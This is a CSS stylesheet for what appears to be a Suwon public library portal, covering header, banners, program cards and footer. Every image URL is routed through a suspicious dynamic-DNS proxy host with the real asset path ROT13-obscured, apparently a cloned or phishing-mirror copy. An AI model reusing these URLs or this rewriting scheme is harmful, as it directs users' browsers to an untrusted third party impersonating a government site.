/* ========== reset ========== */
* { margin: 0; padding: 0; box-sizing: border-box; }
body{font-family: 'Noto Sans KR', sans-serif !important;}
a { text-decoration: none !important; color: inherit !important; color: #000;}
a:hover {text-decoration: none;}
ul, ol, li{ list-style: none;}
table { border-collapse: collapse; border-spacing: 0; }
img { max-width: 100%; height: auto; vertical-align: middle; }
button { background: none; border: none; cursor: pointer; }
input, textarea, select { border: 1px solid #ccc; outline: none; }



  
/* 부트스트랩 기본 활성화 스타일 제거 */
.nav-tabs .nav-item.show .nav-link,
.nav-tabs .nav-link.active {
  background: none !important;
  border: none !important; 
  color: inherit !important;
  box-shadow: none !important;
}
.nav-tabs .nav-link:hover {
  background: none !important;
  border: none !important;
  color: inherit !important; 
  box-shadow: none !important;
  text-decoration: none !important; 
}
.nav-tabs .nav-link:focus,
.nav-tabs .nav-link:active {
  outline: none !important;
  box-shadow: none !important;
  border: none !important; 
}
.swiper{width: 500px; height: 100%; margin: 0 !important; padding: 0; z-index: 0 !important;}
.swiper-slide {text-align: center; font-size: 18px; background: #fff; display: flex;
  justify-content: center; align-items: center;}
.swiper-slide img { display: block; width: 100%; height: 100%; object-fit: cover;}
/*공통제목*/
.board_top_wrap{display: flex; align-items: center; justify-content: space-between; margin-bottom: 50px;}
.board_top_wrap .board_tit{font-size: 35px; line-height: 1em; letter-spacing: -2px; 
font-weight: bold; margin-bottom: 0;}
.board_top_wrap .more_btn{display: flex; align-items: center; font-size: bold; font-size: 20px; font-weight: bold;
color: #2d3036; gap: 10px}
.board_top_wrap .b_icon{gap: 30px;}
.board_top_wrap div{display: flex; align-items: center;}
.board_top_wrap div .library-select{margin-left: 20px; border-radius: 25px; height: 39px; width: 235px; padding-left: 23px; border: 1px solid #c4c9cf; cursor: pointer; background: #fff url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Sfryrpg_obk.cat') no-repeat center right 21px; font-size: 20px; color: #2d3036; letter-spacing: -2px;  appearance: none;}

/* ========== 헤더 ========== */
#header { width: 100%; position: relative; }
#header .top_link{background: #f0f4f6;}
#header .top_link .container{display: flex; align-items: center; justify-content: space-between; height: 40px;}
#header .top_link .library-name{background: #3578c6; height: 100%; display: flex; align-items: center; padding: 0 23px; font-size: 18px; font-weight: bold; color: #fff;}
#header .top_link .sns-wrap{position: relative;}  
#header .top_link .sns-wrap button{font-size: 18px; display: flex; align-items: center; gap: 17px;}
#header .m_top_link{display: none;}
/*도서관 sns*/
#header .sns-icons {display: none; position: absolute; top: 38px;
  right: 0; background: white; padding: 10px; border-radius: 5px; border: 1px solid #131313;}
#header .sns-icons a {display: inline-block; margin: 0 0 5px 0;}
#header .sns-wrap.active .sns-icons {display: flex; flex-direction: column; z-index: 9999;}
#header .library-toggle {background: none; border: none; cursor: pointer; padding: 5px; transition: transform 0.3s ease-in-out;}
#header .library-toggle img {transition: transform 0.3s ease-in-out;}
#header .library-toggle.active img {transform: rotate(180deg);}
#header h1{margin: 0;}
#header .library-list {display: none;  position: absolute; top: 60px; left: 10px; background: white; border: 1px solid #ddd;
  padding: 24px 18px; border-radius: 10px; border: 1px solid #000; z-index: 9999; width: 543px; max-width:100%;}
#header .library-list .f_box{display:flex; gap:20px;}
#header .library-list .link_box{flex:1;}
#header .library-list h5{border: 2px solid #000; margin-bottom: 20px; padding: 8px;
text-align: center; line-height: 1em; font-size: 20px; font-weight: bold;
letter-spacing: -1px;} 
#header .library-list ul {list-style: none; margin: 0; padding: 0; height: 381px; overflow-y: auto;}
#header .library-list ul::-webkit-scrollbar {width: 5px;}
#header .library-list ul::-webkit-scrollbar-track {background: #c6c6c6;border-radius: 3px;}
#header .library-list ul::-webkit-scrollbar-thumb {background: #000;  border-radius: 3px;}
#header .library-list ul::-webkit-scrollbar-thumb:hover {background: #000;}
#header .library-list li{margin-bottom: 15px;}
#header .library-list li a {font-size: 18px; font-weight: bold; line-height: 1em; display: block;
  width: 100%; padding-left: 2px;}

#header #top-area {position: relative; display: flex; align-items: center; height:115px; border-bottom: 1px solid #e7eaed;}
#header #top-area .top-inner{display: flex; align-items: center; justify-content: space-between; position: relative;}
#header #top-area .searchbarWrap {position: relative;}
#header #top-area .searchbarWrap form.searchbar {height: 57px; min-width: 355px; box-sizing: border-box; border-radius: 30px; border: 4px solid transparent; background: linear-gradient(white, white) padding-box, 
  linear-gradient(90deg, #3578c6, #1c59a1) border-box; position: relative;}
#header #top-area .searchbarWrap form.searchbar .form-control {width: 100%; height: 100%; border: none; outline: none; padding-right: 45px;  border-radius: 30px; padding-left: 20px;}
#header #top-area .searchbarWrap form.searchbar .searchBtn {position: absolute; right: 10px; top: 50%; transform: translateY(-50%); background: none; border: none; cursor: pointer; padding: 0; width: 35px; height: 35px;}
#header #top-area .header-utils{display: flex;}
#header #top-area .header-utils a{ display: flex; align-items: center; gap:3px;}
#header #top-area .header-utils a span{font-size: 18px; color: #000; letter-spacing: -2px; margin-left: 4px;}
#header #top-area .header-utils a:after{content: ''; width: 1px; height:15px;
display: inline-block; background:#999b9d; margin: 0 12px;}
#header #top-area .header-utils a:last-child:after{display: none;}
/*도서관별 검색창 배경*/
.sbg_jlib {background: linear-gradient(white, white) padding-box,
            linear-gradient(90deg, #c68335, #a86d2c) border-box !important;}
.sbg_cy {background: linear-gradient(white, white) padding-box,
            linear-gradient(90deg, #2796cf, #1f78a8) border-box !important;}
.sbg_bdn {background: linear-gradient(white, white) padding-box,
            linear-gradient(90deg, #4765a4, #3a5387) border-box !important;}
.sbg_seo {background: linear-gradient(white, white) padding-box,
            linear-gradient(90deg, #15888a, #116f71) border-box !important;}
.sbg_hms {background: linear-gradient(white, white) padding-box,
            linear-gradient(90deg, #056741, #045b39) border-box !important;}
.sbg_hl {background: linear-gradient(white, white) padding-box,
            linear-gradient(90deg, #6e442b, #5a3823) border-box !important;}
.sbg_buk {background: linear-gradient(white, white) padding-box,
            linear-gradient(90deg, #7647c8, #5d3fa1) border-box !important;}
.sbg_dcg {background: linear-gradient(white, white) padding-box,
            linear-gradient(90deg, #ef5e77, #d74b64) border-box !important;}
.sbg_iw {background: linear-gradient(white, white) padding-box,
            linear-gradient(90deg, #5fa308, #4d8506) border-box !important;}
.sbg_gh {background: linear-gradient(white, white) padding-box,
            linear-gradient(90deg, #a73858, #892d48) border-box !important;}
.sbg_ylib {background: #7647c8!important;}
.sbg_TM {background: linear-gradient(white, white) padding-box,
            linear-gradient(90deg, #3d8619, #316c14) border-box !important;}
.sbg_hd {background: linear-gradient(white, white) padding-box,
            linear-gradient(90deg, #aba000, #8e8600) border-box !important;}
.sbg_gps {background: linear-gradient(white, white) padding-box,
            linear-gradient(90deg, #fbc128, #d9a81f) border-box !important;}
.sbg_myu {background: linear-gradient(white, white) padding-box,
            linear-gradient(90deg, #7888a0, #606e83) border-box !important;}
.sbg_mpgb {background: linear-gradient(white, white) padding-box,
            linear-gradient(90deg, #ff8264, #d96b52) border-box !important;}

/* 도서관별 검색 아이콘 색상 배경 */
.i_sunkyung {color: #3578c6 !important;}
.i_jlib {color: #c68335 !important;}
.i_cy {color: #2796cf !important;}
.i_bdn {color: #4765a4 !important;}
.i_seo {color: #15888a !important;}
.i_hms {color: #056741 !important;}
.i_hl {color: #6e442b !important;}
.i_buk {color: #7647c8 !important;}
.i_dcg {color: #ef5e77 !important;}
.i_iw {color: #5fa308 !important;}
.i_gh {color: #a73858 !important;}
.i_ylib {color: #7647c8! important;}
.i_TM {color: #3d8619 !important;}
.i_hd {color: #aba000 !important;}
.i_gps {color: #fbc128 !important;}
.i_myu {color: #7888a0 !important;}
.i_mpgb {color: #ff8264 !important;}
	
/* 도서관별 gnb 배경 */
.last_sunkyung {background: #3578c6 !important;}
.last_jlib {background: #c68335 !important;}
.last_cy {background: #2796cf !important;}
.last_bdn {background: #4765a4 !important;}
.last_seo {background: #15888a !important;}
.last_hms {background: #056741 !important;}
.last_hl {background: #6e442b !important;}
.last_buk {background: #7647c8 !important;}
.last_dcg {background: #ef5e77 !important;}
.last_iw {background: #5fa308 !important;}
.last_gh {background: #a73858 !important;}
.last_ylib {background: #7647c8!important;}
.last_TM {background: #3d8619 !important;}
.last_hd {background: #aba000 !important;}
.last_gps {background: #fbc128 !important;}
.last_myu {background: #7888a0 !important;}
.last_mpgb {background: #ff8264 !important;}

/*메인배너*/
#main-banner{padding: 50px 0 55px; background: #edf0f5 url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Sonaare_ot.cat) no-repeat center bottom -5px;}
#main-banner .banner-box{display: flex; align-items: center; gap: 33px; max-width: 100%; position: relative;}

/*#main-banner .container .banner-box:after{position: absolute; content: ''; display: block; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Sonaare_ot02.cat) no-repeat; width: 172px; height: 191px; left: -189px; top: 160px;}*/
/*여름이미지*/
/*#main-banner .container .banner-box:after{position: absolute; content: ''; display: block; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Sonaare_ot03_0.cat) no-repeat; width: 207px; height: 190px; left: -226px; top: 160px;}*/
/*가을이미지*/
#main-banner .container .banner-box:after{position: absolute; content: ''; display: block; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Sonaare_ot05_0_0.cat) no-repeat; width: 220px; height: 179px; left: -226px; top: 160px;}
#main-banner .banner-box .swiper{min-width: 743px; height: 350px; border-radius: 20px; overflow: hidden; box-sizing:border-box;}
#main-banner .banner-box .swiper img{width: 100%; height: 100%; object-fit: cover;}
#main-banner .banner-box .info_tabs {background: #1c59a1; color: #fff; border-radius: 20px;
height: 350px; position: relative; flex: 1; max-width: calc(100% - 743px);}
/*#main-banner .banner-box .info_tabs:after{background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Ssebt_vpb.cat) no-repeat; content: ''; display: block; width: 194px; height: 120px; position: absolute; right: -42px; top: -18px;}*/
/*여름이미지*/
/*#main-banner .banner-box .info_tabs:after{background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Sonaare_ot04_0.cat) no-repeat; content: ''; display: block; width: 128px; height: 144px; position: absolute; right: 19px; top: -27px;}*/
/*가을이미지*/
#main-banner .banner-box .info_tabs:after{background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Sonaare_ot06_0_0.cat) no-repeat; content: ''; display: block; width: 160px; height: 143px; position: absolute; right: 0; top: -38px;}

#main-banner .banner-box .nav-tabs {display: flex; height: 75px; padding-left: 20px !important; border-bottom: 0 !important; align-items: center;}
#main-banner .banner-box .nav-tabs .nav-link {font-size: 30px; font-weight: bold; color: #3578c6; background: none; border: none; transition: 0.3s;}
#main-banner .b_btn_wrap {position: absolute; bottom: 0px; right: 0; display: flex; align-items: center; background: rgba(0, 0, 0, 0.7); padding: 5px 10px; border-radius: 0 0 5px 0; z-index: 9999; min-width: 180px; height: 40px;  gap: 8px;}
#main-banner .swiper-button-next,
#main-banner .swiper-button-prev,
#main-banner .stopPlayBtn {
  position: static; margin: 0 5px; width: 24px;  height: 24px; background-size: contain;
  background-repeat: no-repeat; background-position: center; cursor: pointer; z-index: 9999;}
#main-banner .swiper-button-next {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Sarkg_oga.cat'); width: 18px; height: 16px;}
#main-banner .stopPlayBtn {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Sfgbc_oga.cat'); width: 11px; height: 14px;}
#main-banner .swiper-button-prev {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Sceri_oga.cat'); width: 18px; height: 16px;}
/* Swiper 기본 아이콘 제거 */
#main-banner .swiper-button-next:after, 
#main-banner .swiper-button-prev:after {display: none;}
#main-banner .swiper-pagination {display: flex; flex-grow: 1;  justify-content: flex-end; color: #fff;
    font-size: 14px; font-weight: bold; min-width: 40px; padding-right: 24px; font-size: 16px; gap: 3px;}
#main-banner .swiper-pagination-total{font-weight: 400;}
#main-banner .swiper-pagination-current{font-weight: bold;}

/* 탭 컨텐츠 스타일 */
#main-banner .banner-box .tab-content {
  flex: 1;  background: #3578c6; border-radius: 20px;  padding: 30px 40px; height: 275px;
  overflow: hidden;}
#main-banner .tab-content .month {background: #1c59a1; border-radius: 50%; min-width: 97px; height: 97px; display: flex; align-items: center;
  justify-content: center; flex-direction: column; font-size: 20px; font-weight: bold;}
#main-banner .tab-content .month span {font-size: 23px; font-weight: 500; line-height: 1em;}
#main-banner .tab-content .month span:last-child {font-size: 45px;font-weight: bold;}
#main-banner .tab-content .title {font-size: 30px; font-weight: bold; line-height: 1em; margin-bottom: 10px;}
#main-banner .tab-content .desc {font-size: 20px; line-height: 1em; margin-bottom: 0;}
#main-banner .tab-content .dates {display: flex; gap: 15px; margin-top: 30px;}
#main-banner .tab-content .dates .f_box {display: flex; gap: 10px; flex-wrap:wrap;}
#main-banner .tab-content .date {background: #fff; font-size: 20px; font-weight: bold; width: 40px; height: 40px;
  border-radius: 50%; display: flex; align-items: center; justify-content: center; color: #000;}
#main-banner .info_tabs .more {text-align: right; font-size: 18px; cursor: pointer; margin: 0; font-weight: bold;}
#main-banner .tab-pane#guide ul{display: flex; flex-wrap: wrap; padding-left: 0; margin: 0;}
#main-banner .tab-pane#guide ul li{width: 50%; margin-bottom: 28px;}
#main-banner .tab-pane#guide ul li:last-child{margin-bottom: 0;}
#main-banner .tab-pane#guide ul li h5{font-size: 23px; line-height: 1em; font-weight: bold; margin-bottom: 15px;}
#main-banner .tab-pane#guide ul li p{line-height: 1em; font-size: 20px; margin-bottom: 13px;}
#main-banner .tab-pane#guide ul li p:last-child{margin-bottom: 0;}

/*아이콘*/
#icon-section{padding: 70px 0 48px;}
#icon-section .swiper{width: 100%; height: auto;}
#icon-section .swiper-slide{width: calc(100% / 8);}
#icon-section .swiper-slide a{display: block; width: 100%; height: 100%;}
#icon-section .swiper-slide a .icon{width: 100%; overflow: hidden;
  display: flex;   align-items: center; justify-content: center; margin-bottom: 14px; height: 88px; }
#icon-section .swiper-slide a .txt{line-height: 22px; height: 44px; display: flex; align-items: center; justify-content: center; font-size: 20px;}
#icon-section .swiper-slide img{width: auto; height: auto;}
#icon-section .swiper-button-prev, #icon-section .swiper-button-next{ width: 15px; height: 24px;}
#icon-section .swiper-button-prev{background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Sz_ceri.cat) no-repeat;}
#icon-section .swiper-button-next{background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Sz_arkg.cat) no-repeat;}

/*공지사항*/
#main_board{padding-bottom: 85px;}
#main_board ul.board_list{display: flex; align-items: center; padding: 0;}
#main_board ul.board_list li{width: calc(100% / 4); background: #f4f6f9; border-radius: 15px; margin-right: 30px;
height: 180px; position: relative;}
#main_board ul.board_list :last-child{margin-right: 0;}
#main_board ul.board_list li a{display: block; padding: 20px 20px 30px; width: 100%; height: 100%;}
#main_board ul.board_list li .board_ico{margin-bottom: 10px;}
#main_board ul.board_list li .board_txt{font-size: 20px; color: #000; line-height: 25px; font-weight: bold; letter-spacing: -1px; overflow: hidden; text-overflow: ellipsis; display: -webkit-box;
  -webkit-line-clamp: 2; -webkit-box-orient: vertical; height: 50px;} 
#main_board ul.board_list li .board_date{position: absolute; width: 100%; bottom: 30px;}

/*독서문화프로그램*/
#book-program{padding: 63px 0 92px; background: linear-gradient(to right, #ebf1f9 45%, #ebf1f9 55%, #eef9ec 100%);}
#book-program .container{position: relative;}
#book-program .program-list{display: flex; align-items: center; justify-content: space-between;}
#book-program .program-list .program-card{background: #fff; width: calc(50% - 20px); box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);border-radius: 10px; border-bottom-right-radius:50px; padding: 30px 38px 30px 30px;} 
#book-program .program-list .program-tags{display: flex; gap: 5px; margin-bottom: 19px;}
#book-program .program-list .program-tags span{padding: 4px 10px; border-radius: 5px; font-size: 18px; font-weight: bold;}

#book-program .program-list .program-tags span.target_01{ background: #f0f0f0; color: #666666;}
#book-program .program-list .program-tags span.target_02{ background: #ffe8e5; color: #f25c54;}
#book-program .program-list .program-tags span.target_03{background: #e7f0ff; color: #4285f4;}
#book-program .program-list .program-tags span.target_04{background: #fff4d6; color: #f4a100;}
#book-program .program-list .program-tags span.target_05{background: #e9edff; color: #5c6ac4;}
#book-program .program-list .program-tags span.target_06{background: #f3e7fa; color: #a674e4;}
#book-program .program-list .program-tags span.target_07{background: #e0f6d8; color: #6fc006;}
#book-program .program-list .program-tags span.target_08{background: #fff0dc; color: #ff8a00;}
#book-program .program-list .program-tags span.target_09{background: #d8f2f7; color: #2bb5c1;}
#book-program .program-list .program-tags span.target_10{background: #eeeefc; color: #7874f2;}

#book-program .program-list .program-card .program-desc{border-bottom: 1px solid #ddd; padding-bottom: 19px;}
#book-program .program-list .program-card .program-desc p{font-size: 20px; font-weight: bold; letter-spacing: -1px; overflow: hidden; text-overflow: ellipsis; display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; margin: 0; height: 61px;}
#book-program .program-list .program-info-wrapper{display: flex; align-items: center; justify-content: space-between; padding-top: 19px;}
#book-program .program-list .program-info-wrapper ul{padding-left: 0 !important; margin-bottom: 0;}
#book-program .program-list .program-info-wrapper ul li{display: flex; align-items: center;margin-bottom: 15px;}
#book-program .program-list .program-info-wrapper ul li:last-child{margin-bottom: 0;}
#book-program .program-list .program-info-wrapper ul li .img{min-width: 16px; display: flex; align-items: center; justify-content: center; margin-right: 18px;}
#book-program .program-list .program-info-wrapper ul li span{ font-size: 18px; font-weight: bold; letter-spacing: -1px; line-height: 1em;
color: #3f3f3f;}
#book-program .program-list .program-info-wrapper ul li:first-child span{color: #3578c6;}
#book-program .program-list .program-info-wrapper button{min-width: 142px; height: 43px; background:#373737; font-size: 18px;
font-weight: bold; color: #fff; border-radius: 10px;}


/*책 읽는 수원*/
#book_suwon{padding: 60px 0 123px; position: relative;}
#book_suwon .bg_left{background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Sobbx_ot1.cat) no-repeat; position: absolute; content: ''; display: block; 
left:0; top: 60px; width: 390px; height: 739px; z-index: -9999;}
#book_suwon .bg_right{background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Sobbx_ot3.cat) no-repeat; position: absolute; content: ''; display: block; 
  right:0; top: 15px; width: 214px; height: 361px; z-index: -9999;}
#book_suwon .text-center{font-size: 55px; font-weight: bold; letter-spacing: -2px; line-height: 1em;
margin-bottom: 72px;}
#book_suwon .f_con{display: flex;}
#book_suwon .f_con .tab-menu{min-width: 232px; margin-right: 56px; position: relative;}
#book_suwon .f_con .tab-menu h4{font-size: 30px; font-weight: bold; letter-spacing: -1px; margin-bottom: 20px;}
#book_suwon .f_con .tab-menu h4 span{font-size: 40px;}
#book_suwon .f_con .tab-content-area{width: calc(100% - 288px); height: 294px;}
#book_suwon .f_con .tab-content-area .swiper{width: 100%; height: 100%;}
#book_suwon .f_con .tab-content-area .swiper-slide img{width: 100%; height: 1005; max-width: 100%; display: block; margin:  0 auto;}
#book_suwon .nav-pills .nav-link {width: 100%; border-radius: 25px; text-align: left; height: 40px; margin-bottom: 8px; padding: 0 0 0 20px; letter-spacing: -1px; font-size: 22px; font-weight: bold; color: #fff; background: #a4a4a4 url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Soga_arkg.cat) no-repeat center right 32px;}
#book_suwon .nav-pills .nav-link.active,
#book_suwon .nav-pills .show>.nav-link {background: #3578c6 url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Soga_arkg.cat) no-repeat center right 32px;}
#book_suwon .f_con .tab-menu {min-width: 232px; margin-right: 56px; position: relative;  padding-bottom: 50px;}
#book_suwon .f_con .tab-menu .btn_b {display: flex; align-items: center; justify-content: center; gap: 8px; width: 100%; margin-top: 6px;}
#book_suwon .f_con .tab-menu .swiper-button-prev,
#book_suwon .f_con .tab-menu .swiper-button-next,
#book_suwon .f_con .tab-menu .btn_more {width: 40px;  height: 40px; cursor: pointer; position: static; margin: 0;}
#book_suwon .f_con .tab-menu .swiper-button-prev {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Sfyvqr_ceri.cat');}
#book_suwon .f_con .tab-menu .swiper-button-next {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Sfyvqr_arkg.cat');}
#book_suwon .f_con .tab-menu .btn_more {background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Soga_zber.cat');}
#book_suwon .f_con .tab-menu .btn_more a{display: block; width: 100%; height: 100%;}
.swiper-button-next:after, 
.swiper-button-prev:after{display: none;}


/* 추천도서 hover */
#book_suwon .img_list ul {display: flex; flex-wrap: wrap; width: 100%; padding-left: 0;}
#book_suwon .img_list ul li {position: relative; width: 100%; padding-top: calc(100% * 1.414); overflow: hidden;}
#book_suwon .img_list ul li a{width:100%; height:100%; display:block;}
#book_suwon .img_list ul li img {position: absolute; top: 0; left: 0; width: 100%; height: 100%; transition: transform 0.3s ease-in-out;}
#book_suwon .img_list ul li .hover {opacity: 0; position: absolute; top: 0; left: 0; display: flex; align-items: center; justify-content: center; text-align: center; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.8);
  word-break: keep-all; padding: 12px; color: #fff; letter-spacing: -1px; transition: opacity 0.3s ease-in-out, transform 0.3s ease-in-out; transform: translateY(10px);}
#book_suwon .img_list ul li .hover .title{font-size: 18px; font-weight: bold; color:#fff;
line-height: 1.2em; margin-bottom: 20px;}
#book_suwon .img_list ul li .hover .txt{line-height: 24px; font-size: 20px;}
#book_suwon .img_list ul li:hover img {transform: scale(1.05);}
#book_suwon .img_list ul li:hover .hover {opacity: 1; transform: translateY(0);}


/*하단 배너모음*/
#rolling_banner{padding: 32px 0; background: #f0f4f6;}
#rolling_banner .banner_wrap{display: flex; align-items: center;}
#rolling_banner .banner_wrap .controll_wrap{display: flex; align-items: center;}
#rolling_banner .banner_wrap .controll_wrap .btn_wrap{min-width: 81px; margin-right: 45px; display: flex; align-items: center; gap: 5px;}
#rolling_banner .banner_wrap .controll_wrap .btn_wrap{background: url();}
#rolling_banner .banner_wrap h3{font-size: 24px; font-weight: bold; line-height: 1em; margin: 0; min-width: 84px; margin-right: 15px; letter-spacing: -2px;}
#rolling_banner .banner_wrap .mySwiper6{width: 100%; height: 100%;}
#rolling_banner .swiper-slide{border-radius: 30px; border: 1px solid #bcc2c9; background: none; min-width: 188px; height:50px;}
#rolling_banner .swiper-slide a{font-size:18px; line-height:1.2em; display:flex; align-items:center; justify-content:center; width:100%; height:100%;
color: #000; padding:0 10px; letter-spacing:-2px;}
#rolling_banner .swiper-button-next,
#rolling_banner .swiper-button-prev,
#rolling_banner .stopPlayBtn{position: static; width: 24px; height: 24px; margin: 0;}
#rolling_banner .swiper-button-next{background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Sceri.cat) no-repeat;}
#rolling_banner .stopPlayBtn{background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Sfgbc.cat) no-repeat;}
#rolling_banner .swiper-button-prev{background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Sarkg.cat) no-repeat;}
#rolling_banner .swiper-button-next:after, 
#rolling_banner .swiper-button-prev:after{display: none;}

/*footer*/
footer {background-color: #4a565e; color: #fff; font-size: 14px;}
footer .footer_top{border-bottom: 1px solid #8b9397; padding: 13px 0;}
footer .footer-wrap{display: flex; align-items: center; justify-content: space-between;}
footer .footer-wrap .footer-links ul, footer .footer-wrap .footer-social ul{display: flex; padding-left: 0;
margin: 0;}
footer .footer-wrap .footer-links ul li{display: flex; align-items: center;}
footer .footer-wrap .footer-links ul li:after{content: ''; display: inline-block; width: 1px; height: 17px;
background: #8b9397; margin: 0 18px;}
footer .footer-wrap .footer-links ul li:last-child:after{display: none;}
footer .footer-wrap .footer-links ul li a{font-size: 18px; line-height: 1em; letter-spacing: -1px;}
footer .footer-wrap .footer-links ul li:first-child a{font-weight: bold; color: #9ddeff !important;}
footer .footer-wrap .footer-social ul li{margin-right: 10px;}
footer .footer-wrap .footer-social ul li:last-child{margin-right: 0px;}
footer .footer-wrap .footer-social ul li a{width: 100%; height: 100%; display: inline-block;}
footer .footer-info{padding: 32px 0 50px;}
footer .footer-info p{font-size: 18px; letter-spacing: -1px; margin-bottom: 5px;}
.m_menu{display:none;}
@media (min-width: 1400px) {
  .container, .container-lg, .container-md, .container-sm, .container-xl, .container-xxl {
      max-width: 1274px;
  }
   
}

@media (max-width: 1400px) and (min-width: 1200px) {
#main-banner .banner-box .swiper{min-width:600px;}
#main-banner .banner-box .info_tabs{max-width:calc(100% - 600px - 33px);}
#header #top-area .header-utils a span{display:none;}
#main-banner .banner-box .swiper img{width:100%; height:100%; object-fit:fill;}

}

@media (min-width: 1200px) {
	/* 네비게이션 버튼 숨기기 */
   #icon-section .swiper-button-prev,
   #icon-section .swiper-button-next{display: none;}
    .navbar-toggler {
    display: none; 
  }
  .mobile-menu {
    display: none;
  }
  .overlay {
    display: none;
  }
}
@media (max-width: 1200px) {
  /*header*/
   #header #top-area .searchbarWrap{display: none;}
   /*main_banner*/
  #main-banner .banner-box{flex-direction: column;}
  #main-banner .banner-box .swiper{min-width: 100%; width: 100%; height: auto;}
  #main-banner .banner-box .info_tabs{width: 100%; max-width: 100%;} 
  #main-banner .banner-box .swiper a{position: relative; padding-top: 47%; display: block;}
  #main-banner .banner-box .swiper a img{position: absolute; top: 0; left: 0; width: 100%; height: 100%;}
    

   /*icon*/
   #icon-section .swiper-button-prev,
   #icon-section .swiper-button-next{display: block !important;}
   /*book_suwon*/
   #book_suwon .f_con .tab-menu .btn_b{justify-content: flex-start;}

   /* 도서관별 gnb 배경 */
	.ibg_sunkyung {background: #3578c6 !important;}
	.ibg_jlib {background: #c68335 !important;}
	.ibg_cy {background: #2796cf !important;}
	.ibg_bdn {background: #4765a4 !important;}
	.ibg_seo {background: #15888a !important;}
	.ibg_hms {background: #056741 !important;}
	.ibg_hl {background: #6e442b !important;}
	.ibg_buk {background: #7647c8 !important;}
	.ibg_dcg {background: #ef5e77 !important;}
	.ibg_iw {background: #5fa308 !important;}
	.ibg_gh {background: #a73858 !important;}
	.ibg_ylib {background: #7647c8 !important;}
	.ibg_TM {background: #3d8619 !important;}
	.ibg_hd {background: #aba000 !important;}
	.ibg_gps {background: #fbc128 !important;}
	.ibg_myu {background: #7888a0 !important;}
	.ibg_mpgb {background: #ff8264 !important;}

	.f_sunkyung {color: #3578c6 !important;}
	.f_jlib {color: #c68335 !important;}
	.f_cy {color: #2796cf !important;}
	.f_bdn {color: #4765a4 !important;}
	.f_seo {color: #15888a !important;}
	.f_hms {color: #056741 !important;}
	.f_hl {color: #6e442b !important;}
	.f_buk {color: #7647c8 !important;}
	.f_dcg {color: #ef5e77 !important;}
	.f_iw {color: #5fa308 !important;}
	.f_gh {color: #a73858 !important;}
	.f_ylib {color: #7647c8 !important;}
	.f_TM {color: #3d8619 !important;}
	.f_hd {color: #aba000 !important;}
	.f_gps {color: #fbc128 !important;}
	.f_myu {color: #7888a0 !important;}
	.f_mpgb {color: #ff8264 !important;}
	
	/*모바일메뉴*/
	.pc_block{display: none;}
	#header .top_link{display: none;}
  #header h1.logo{display: flex; align-items: center; width: 215px;}
  #header h1.logo img{width: 100%; display: block;}
